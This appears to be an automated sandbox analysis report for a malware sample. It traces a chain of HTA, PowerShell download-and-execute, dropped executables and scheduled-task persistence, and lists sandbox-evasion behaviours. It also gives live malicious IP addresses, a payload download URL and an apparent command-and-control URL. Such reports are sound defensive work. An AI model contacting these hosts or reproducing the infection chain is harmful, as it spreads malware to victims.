Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1611843 Sample: PUDNz69qBQ.exe Startdate: 11/02/2025 Architecture: WINDOWS Score: 100 59 Suricata IDS alerts for network traffic 2->59 61 Found malware configuration 2->61 63 Antivirus detection for URL or domain 2->63 65 18 other signatures 2->65 9 PUDNz69qBQ.exe 1 2->9         started        13 mshta.exe 1 2->13         started        15 skotes.exe 12 2->15         started        18 skotes.exe 2->18         started        process3 dnsIp4 51 C:\Users\user\AppData\Local\...\iExzqhyV9.hta, HTML 9->51 dropped 81 Binary is likely a compiled AutoIt script file 9->81 83 Found API chain indicative of sandbox detection 9->83 85 Creates HTA files 9->85 20 mshta.exe 1 9->20         started        23 cmd.exe 1 9->23         started        87 Suspicious powershell command line found 13->87 89 Tries to download and execute files (via powershell) 13->89 25 powershell.exe 16 13->25         started        57 185.215.113.43, 49986, 49988, 49989 WHOLESALECONNECTIONSNL Portugal 15->57 91 Hides threads from debuggers 15->91 93 Tries to detect sandboxes / dynamic malware analysis system (registry check) 15->93 95 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 15->95 file5 signatures6 process7 signatures8 67 Suspicious powershell command line found 20->67 69 Tries to download and execute files (via powershell) 20->69 27 powershell.exe 15 19 20->27         started        71 Uses schtasks.exe or at.exe to add and modify task schedules 23->71 32 conhost.exe 23->32         started        34 schtasks.exe 1 23->34         started        36 TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE 25->36         started        38 conhost.exe 25->38         started        process9 dnsIp10 55 185.215.113.16, 49712, 80 WHOLESALECONNECTIONSNL Portugal 27->55 53 TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE, PE32 27->53 dropped 97 Powershell drops PE file 27->97 40 TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE 4 27->40         started        44 conhost.exe 27->44         started        99 Hides threads from debuggers 36->99 101 Tries to detect sandboxes / dynamic malware analysis system (registry check) 36->101 103 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 36->103 file11 signatures12 process13 file14 49 C:\Users\user\AppData\Local\...\skotes.exe, PE32 40->49 dropped 73 Antivirus detection for dropped file 40->73 75 Multi AV Scanner detection for dropped file 40->75 77 Detected unpacking (changes PE section rights) 40->77 79 6 other signatures 40->79 46 skotes.exe 40->46         started        signatures15 process16 signatures17 105 Antivirus detection for dropped file 46->105 107 Multi AV Scanner detection for dropped file 46->107 109 Detected unpacking (changes PE section rights) 46->109 111 6 other signatures 46->111
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.16/mine/random.exe false
    		high
    http://185.215.113.43/Zu7JuNko/index.php false
      		high